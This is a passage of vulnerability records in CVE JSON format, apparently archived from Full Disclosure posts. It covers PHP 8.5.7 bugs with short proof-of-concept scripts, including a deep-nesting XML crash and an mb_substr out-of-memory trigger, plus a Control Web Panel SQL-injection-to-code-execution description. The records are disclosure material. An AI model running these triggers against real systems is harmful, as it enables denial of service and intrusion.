          "url": "https://${WEBEA_HOSTNAME}/data_api/dl_internal_artifact.php?guid=el_%7B8889BA10-6178-4047-9273-37FC75B0FCF6%7D\u0026modelno=1"
        },
        {
          "url": "https://${WEBEA_HOSTNAME}/data_api/poc.php\u0026apos"
        },
        {
          "url": "https://cert.pl/en/posts/2026/05/CVE-2026-42096"
        },
        {
          "url": "https://efigo.pl/"
        },
        {
          "url": "https://efigo.pl/blog/CVE-2026-42096/"
        },
        {
          "url": "https://github.com/br0xpl/sparx_hack/blob/main/eacrypt.py"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html"
        },
        {
          "url": "https://sparxsystems.com/products/procloudserver/"
        },
        {
          "url": "https://sploit.tech/"
        },
        {
          "url": "https://sploit.tech/2026/05/19/Sparx-Enterprise-Architect-PCS.html"
        },
        {
          "url": "https://www.sparxsystems.eu/pro-cloud-server/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/17"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Multiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-42096",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42097",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42098",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42099",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42100",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0325",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/17",
            "automated": true,
            "contentSha256": "8bd63f8c1c70a7cdfab79e36a3fa66314cc885eb1505bb552387c93421cb47a1",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/17",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-22T10:47:33Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0325"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0325"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `levenshtein()` signed-integer overflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-levenshtein-signed-integer-overflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `levenshtein()` function calculates the Levenshtein distance\nbetween two strings, optionally accepting custom costs for insertion,\nreplacement, and deletion operations. In PHP 8.5.7, the implementation\nlacks proper bounds checking for these cost parameters. When\nexceptionally large values (such as `PHP_INT_MAX`) are provided, the\narithmetic operations within the `reference_levdist()` function in\n`ext/standard/levenshtein.c` result in a signed-integer overflow. This\ntriggers undefined behavior in C and causes the function to return a\nnegative distance, which is mathematically invalid.\n\n## Proof of concept\n\n```php\n\u003c?php\n/*\n * levenshtein() signed-integer overflow\n * File:  ext/standard/levenshtein.c  reference_levdist()  lines 47, 50, 53-58\n *\n * The user-supplied costs (cost_ins / cost_rep / cost_del, all zend_long) are\n * added with NO overflow check, e.g.:\n *     p1[i2]  = i2 * cost_ins;        // line 47\n *     p2[0]   = p1[0] + cost_del;     // line 50\n *     c1      = p1[i2 + 1] + cost_del;// line 54   \u003c-- PHP_INT_MAX +\nPHP_INT_MAX\n *     c2      = p2[i2] + cost_ins;    // line 58\n *\n * Result: signed overflow (undefined behaviour in C) producing a\n * NEGATIVE edit distance, a value that is mathematically impossible.\n */\nvar_dump(levenshtein(\u0027a\u0027,   \u0027b\u0027,   PHP_INT_MAX, PHP_INT_MAX,\nPHP_INT_MAX)); // int(-2)  (should be PHP_INT_MAX)\nvar_dump(levenshtein(\u0027a\u0027,   \u0027abc\u0027, PHP_INT_MAX, PHP_INT_MAX,\nPHP_INT_MAX)); // int(-4)\nvar_dump(levenshtein(\u0027a\u0027,   \u0027b\u0027,   PHP_INT_MAX, 0,\nPHP_INT_MAX)); // int(-2)\necho \"All three distances are negative =\u003e signed overflow (expected \u003e= 0).\\n\";\n```\n\n## Impact\n\nThe primary risk associated with this vulnerability is an application\nlogic flaw. Applications that rely on the `levenshtein()` function to\ndetermine string similarity or calculate distance metrics might fail\nto handle negative returns properly (for instance, treating a negative\nnumber as `\u003c threshold`). This can result in unexpected behavior,\nincorrect data processing, or bypasses in business logic. Since it\ninvolves integer overflow producing a negative result rather than a\nmemory corruption issue, the scope is generally limited to logic\ndisruption rather than arbitrary code execution.\n\n## Solution\n\nTo effectively address this issue, bounds checking should be\nimplemented either on the cost parameters at the start of the\nfunction, or during intermediate calculations. Utilizing safe\narithmetic macros provided by the Zend Engine can prevent the integer\noverflow constraints from being violated:\n\n```c\n// Example: Adding overflow safeguards in ext/standard/levenshtein.c\nif (UNEXPECTED(ZEND_SIGNED_ADD_OVERFLOWS(p1[i2 + 1], cost_del))) {\n    php_error_docref(NULL, E_WARNING, \"Levenshtein distance\ncalculation caused an integer overflow\");\n    // Handle error, e.g., return -1 or cap\n}\n```\nAn alternative and proactive measure is to restrict the inputs for\n`cost_ins`, `cost_rep`, and `cost_del` before computing the distance,\nensuring that they wouldn\u0027t exceed `ZEND_LONG_MAX` when scaled\nrelative to the strings\u0027 lengths.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/14"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/14"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-levenshtein-signed-integer-overflow"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/14"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `levenshtein()` signed-integer overflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0324",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/14",
            "automated": true,
            "contentSha256": "54ccbc6a18fd6848395a0e5ccaba0bdf597e494673869b58873d3da2a33396eb",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/14",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:26:09Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0324"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `dom_xml_serialization_algorithm()` and\n`dom_xml_serialize_element_node()` functions in\n`ext/dom/xml_serializer.c` rely on unbounded recursion to serialize\nXML nodes. When serializing a deeply nested XML tree, the continuous\nrecursive calls exhaust the thread\u0027s stack space, causing a\nsegmentation fault (SIGSEGV). This issue can be triggered via\n`Dom\\XMLDocument::saveXml()` or by accessing the `$innerHTML` /\n`$outerHTML` properties of `Dom\\XMLDocument` elements. Note that\n`Dom\\HTMLDocument` uses an iterative approach and is unaffected.\n\n## Proof of concept\n\n```php\n\u003c?php\n// A stack overflow occurs due to unbounded recursion in\n// dom_xml_serialization_algorithm() and dom_xml_serialize_element_node()\n// within ext/dom/xml_serializer.c (introduced in PHP 8.4/8.5).\n// The file\u0027s own TODO at line 41 notes:\n// \"TODO: implement iterative approach instead of recursive?\".\n//\n// Under the default 8MB thread stack, serializing a deeply nested XML\n// tree crashes PHP with a SIGSEGV (139). Running with `ulimit -s unlimited`\n// prevents the crash, proving it is stack exhaustion rather than a logic bug.\n//\n// The vulnerability is reachable via Dom\\XMLDocument::saveXml()\n// and the $innerHTML / $outerHTML properties of Dom\\XMLDocument elements.\n// Note that Dom\\HTMLDocument is unaffected, as its HTML5 serializer\n// (dom_html5_serialize_node) is iterative.\n\n$document = Dom\\XMLDocument::createEmpty();\n$root = $document-\u003ecreateElement(\u0027root\u0027);\n$document-\u003eappendChild($root);\n\n$current = $root;\n\n// This loop creates a deeply nested tree.\n// It crashes under the default stack limit but succeeds with `ulimit\n-s unlimited`.\nfor ($i = 0; $i \u003c 25000; $i++) {\n    $element = $document-\u003ecreateElement(\u0027e\u0027);\n    $current-\u003eappendChild($element);\n    $current = $element;\n}\n\n// This line is never reached under the default stack limit.\nvar_dump(strlen(@$document-\u003esaveXml()));\n```\n\nRunning the script results in:\n\n```bash\nSegmentation fault         (core dumped) php poc.php\n```\n\n## Impact\n\nAn attacker could cause a Denial of Service (DoS) by providing a\nmaliciously crafted, deeply nested XML document. If the application\nprocesses and attempts to serialize this untrusted structure, the PHP\nprocess will abruptly crash due to stack exhaustion.\n\n## Solution\n\nRefactor the serialization algorithm in `ext/dom/xml_serializer.c` to\nuse an iterative approach rather than unbounded recursion. A `TODO`\ncomment already exists in the file at line 41 (\"TODO: implement\niterative approach instead of recursive?\"). Alternatively, enforcing a\nhard limit on DOM nesting depth during creation and parsing could\nmitigate the exploitability.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/13"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/13"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/13"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0323",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/13",
            "automated": true,
            "contentSha256": "899246fabd1c4d2675d967a4fc75871f6b293548509602572958afbacfafd5ed",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/13",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:24:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0323"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `mb_substr()` \u0027SJIS-mac\u0027 size_t underflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `mb_get_substr()` function in `ext/mbstring/mbstring.c`\ndeliberately skips an early empty return guard for the `SJIS-mac`\nencoding when `from \u003e= in_len`. As a result, it falls through to\n`mb_get_substr_slow()`, executing `mb_convert_buf_init(\u0026buf, MIN(len,\nin_len - from), ...);`. When `from \u003e in_len`, the parameter `in_len -\nfrom` underflows the `size_t` representation, resulting in a vastly\nlarge allocation size (near ~2^64 bytes). This leads to an immediate\nOut-Of-Memory (OOM) fatal error. Furthermore, if\n`_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could\npotentially allocate a tiny buffer while the structural limit retains\nthe pseudo-wild value, resulting in a heap buffer overflow when\nsubsequent codepoints are decoded and written.\n\n## Proof of concept\n\n```php\n\u003c?php\n/*\n * PoC: mb_substr() \u0027SJIS-mac\u0027 size_t underflow\n * File:  ext/mbstring/mbstring.c  mb_get_substr() (~L2129) +\nmb_get_substr_slow() (~L2102) *\n * mb_get_substr() deliberately skips the early \"return empty\" guard\nfor SJIS-mac:\n *\n *     if (len == 0 || (from \u003e= in_len \u0026\u0026 enc != \u0026mbfl_encoding_sjis_mac)) {\n *         return zend_empty_string;     // \u003c-- sjis_mac bypasses this\nwhen from \u003e= in_len\n *     }\n *\n * ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to\n * mb_get_substr_slow(), whose first line is:\n *\n *     mb_convert_buf_init(\u0026buf, MIN(len, in_len - from), ...);\n *\n * With `from \u003e in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64.\n * mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).\n *\n * Two outcomes, both wrong (correct result is the empty string):\n *  (A) `from` huge -\u003e initsize ~2^64 -\u003e fatal \"Allowed memory size exhausted\n *      (tried to allocate 18446744073708551644 bytes)\". CONFIRMED below.\n *  (B) `from` only slightly \u003e in_len -\u003e initsize sits just under 2^64 and\n *      _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,\n *      while buf-\u003elimit = out + initsize stays wild -\u003e a subsequent write of\n *      decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:\n *      needs a SJIS-mac input decoding to more codepoints than bytes, i.e.\n *      from \u003c codepoint_count while from \u003e byte_count. Worth upstream review.)\n */\necho \"PHP \", PHP_VERSION, \"  sjis_mac available: \",\n     (in_array(\"SJIS-mac\", mb_list_encodings()) ? \"yes\" : \"no\"), \"\\n\\n\";\n\n/* control: a normal encoding with from \u003e strlen returns \"\" cleanly */\necho \"UTF-8, from=10 \u003e strlen(\u0027abc\u0027): -\u003e \"; var_dump(@mb_substr(\"abc\",\n10, null, \"UTF-8\"));\n\n/* The bug: SJIS-mac, from \u003e\u003e strlen, length omitted -\u003e underflow -\u003e OOM fatal.\n * The \"tried to allocate 18...644 bytes\" is literally (size_t)(3 - 1000000). */\necho \"SJIS-mac, from=1000000 \u003e strlen(\u0027abc\u0027):\\n\";\n@mb_substr(\"abc\", 1000000, null, \"SJIS-mac\");\necho \"(if you see this line, the fatal error above was caught/suppressed)\\n\";\n```\n\n## Impact\n\nAn attacker could intentionally furnish conditions where `from \u003e\nin_len` alongside the \u0027SJIS-mac\u0027 encoding, triggering a `size_t`\nunderflow. This predictably causes a severe Out-Of-Memory (OOM) fatal\nerror, culminating in a Denial of Service. Depending on environmental\ndetails, it might hypothetically cause a heap buffer overflow.\n\n## Solution\n\nAdjust the constraints inside `mb_get_substr()` and\n`mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation\n`in_len - from` should be adequately bounds-checked to halt\ncomputation or safely cap at zero when `from \u003e in_len`, sidestepping\nthe underflow when initializing string buffers.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/12"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `mb_substr()` \u0027SJIS-mac\u0027 size_t underflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0322",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/12",
            "automated": true,
            "contentSha256": "1a56f6306615be693571f8da2403bba1e3c2530e6420451db521debf9559a671",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:23:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0322"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-filtersanitizeencoded-uninitialized-read\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nIn `ext/filter/sanitizing_filters.c`, the `php_filter_encode_url`\nfunction leaves the `255`th byte (`0xFF`) of a transient array\nuninitialized. An array of 256 bytes is populated using `memset(tmp,\n1, sizeof(tmp) - 1)`, resulting in `tmp[255]` remaining uninitialized.\nWhen `FILTER_SANITIZE_ENCODED` is applied, this array acts as a lookup\ntable to determine whether an input byte should be percent-encoded.\nConsequently, whether the byte `0xFF` is encoded or left as-is depends\non whatever value happened to be on the stack.\n\n## Proof of concept\n\n```php\n\u003c?php\n/*\n * FILTER_SANITIZE_ENCODED uninitialized read\n(ext/filter/sanitizing_filters.c:73).\n *\n * php_filter_encode_url() does:\n *     unsigned char tmp[256];\n *     memset(tmp, 1, sizeof(tmp) - 1);   // sets tmp[0..254] = 1,\nleaves tmp[255] UNINIT\n *     ...\n *     if (tmp[*s]) { percent-encode } else { keep }\n *\n * So byte 0xFF (index 255) is read UNINITIALIZED: whether it is percent-encoded\n * depends on whatever was on the stack. Every other byte is encoded\n * deterministically. Effect: inconsistent URL-encoding of 0xFF (low severity;\n * no crash / no memory corruption, just UB + nondeterministic sanitizing).\n *\n * Run:  php poc.php\n *   expect: 0xFF kept RAW (ff...) while 0xFE is correctly percent-encoded (%FE)\n */\n$out = filter_var(\"\\xff\\xfeabc\", FILTER_SANITIZE_ENCODED);\necho \"in : \", bin2hex(\"\\xff\\xfeabc\"), \"\\n\";\necho \"out: \", bin2hex($out), \"\\n\";\necho \"0xFF was kept raw and 0xFE was percent-encoded =\u003e tmp[255] read\nuninitialized.\\n\";\n```\n\nRunning the script results in:\n\n```bash\nin : fffe616263\nout: ff254645616263\n0xFF was kept raw and 0xFE was percent-encoded =\u003e tmp[255] read uninitialized.\n```\n\n## Impact\n\nThe impact is low. No crashes or memory corruption can occur as a\nresult of this bug. The sole impact is nondeterministic sanitizing of\nthe `0xFF` byte, which leads to inconsistent URL-encoding based on\nuninitialized stack data unless it smartly gets used among other\nvulnerabilities in a chain.\n\n## Solution\n\nReplace `sizeof(tmp) - 1` with `sizeof(tmp)` in the `memset` call in\n`ext/filter/sanitizing_filters.c` to fully initialize the lookup\ntable.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/11"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/11"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-filtersanitizeencoded-uninitialized-read"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/11"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0321",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/11",
            "automated": true,
            "contentSha256": "cd252d9e44c3c678217a7e75865750ba301ec028f67e430852bfb74f7f5c179d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/11",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:22:32Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0321"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Control Web Panel",
          "vendor": "Control Web Panel",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "---------------------------------------------------------------------\nControl Web Panel \u003c= 0.9.8.1224 (userRes) SQL Injection Vulnerability\n---------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://control-webpanel.com\n\n\n[-] Affected Versions:\n\nVersion 0.9.8.1224 and prior versions.\n\n\n[-] Vulnerability Description:\n\nUser input passed through the \"userRes\" POST parameter to\nhttps://[CWP_Host]:2083/[CWP_Username]/\nis not properly sanitized before being used to construct an SQL query. This\ncan be exploited by remote, unauthenticated attackers to carry out (blind)\nSQL Injection attacks.\n\nSuccessful exploitation of this vulnerability requires the attacker to know\nor correctly guess the username of a valid non-root account on the affected\nCWP instance.\n\nNOTE: successful exploitation allows an unauthenticated attacker to execute\narbitrary SQL queries with the privileges of the MySQL root user. Because\nthis account possesses the global FILE privilege, the vulnerability can be\nleveraged to write arbitrary files to writable locations on the underlying\nfilesystem using MySQL\u0027s file output capabilities (e.g., INTO DUMPFILE). By\nwriting a malicious PHP payload to the web-accessible\n/usr/local/cwpsrv/var/services/roundcube/logs/ directory, an attacker might\nbe able to execute arbitrary PHP code remotely, resulting in full Remote\nCode Execution (RCE) on the affected CWP instance with the privileges of\nthe \u0027cwpsvc\u0027 account.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/CVE-2026-57517.php\n\n\n[-] Solution:\n\nUpgrade to version 0.9.8.1225 or later.\n\n\n[-] Disclosure Timeline:\n\n[XX/YY/2025] - Vulnerability discovered\n[06/05/2026] - Version 0.9.8.1225 released, issue fixed by the vendor\n[26/06/2026] - CVE identifier requested\n[26/06/2026] - CVE identifier assigned\n[01/07/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-57517 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-12\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:49:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/9"
        },
        {
          "url": "https://control-webpanel.com"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-12"
        },
        {
          "url": "https://karmainsecurity.com/pocs/CVE-2026-57517.php"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-12] Control Web Panel \u003c= 0.9.8.1224 (userRes) SQL Injection Vulnerability",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0145",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/9",
            "automated": true,
            "contentSha256": "743696f1381dc1bbfe8903f6923a3621672d1520f66afabb1e9b6051368677f1",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-01T09:49:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T07:49:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0145"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Full disclosure Impersonation",
          "vendor": "Applied Software Consultants",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Juraj Kosik"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
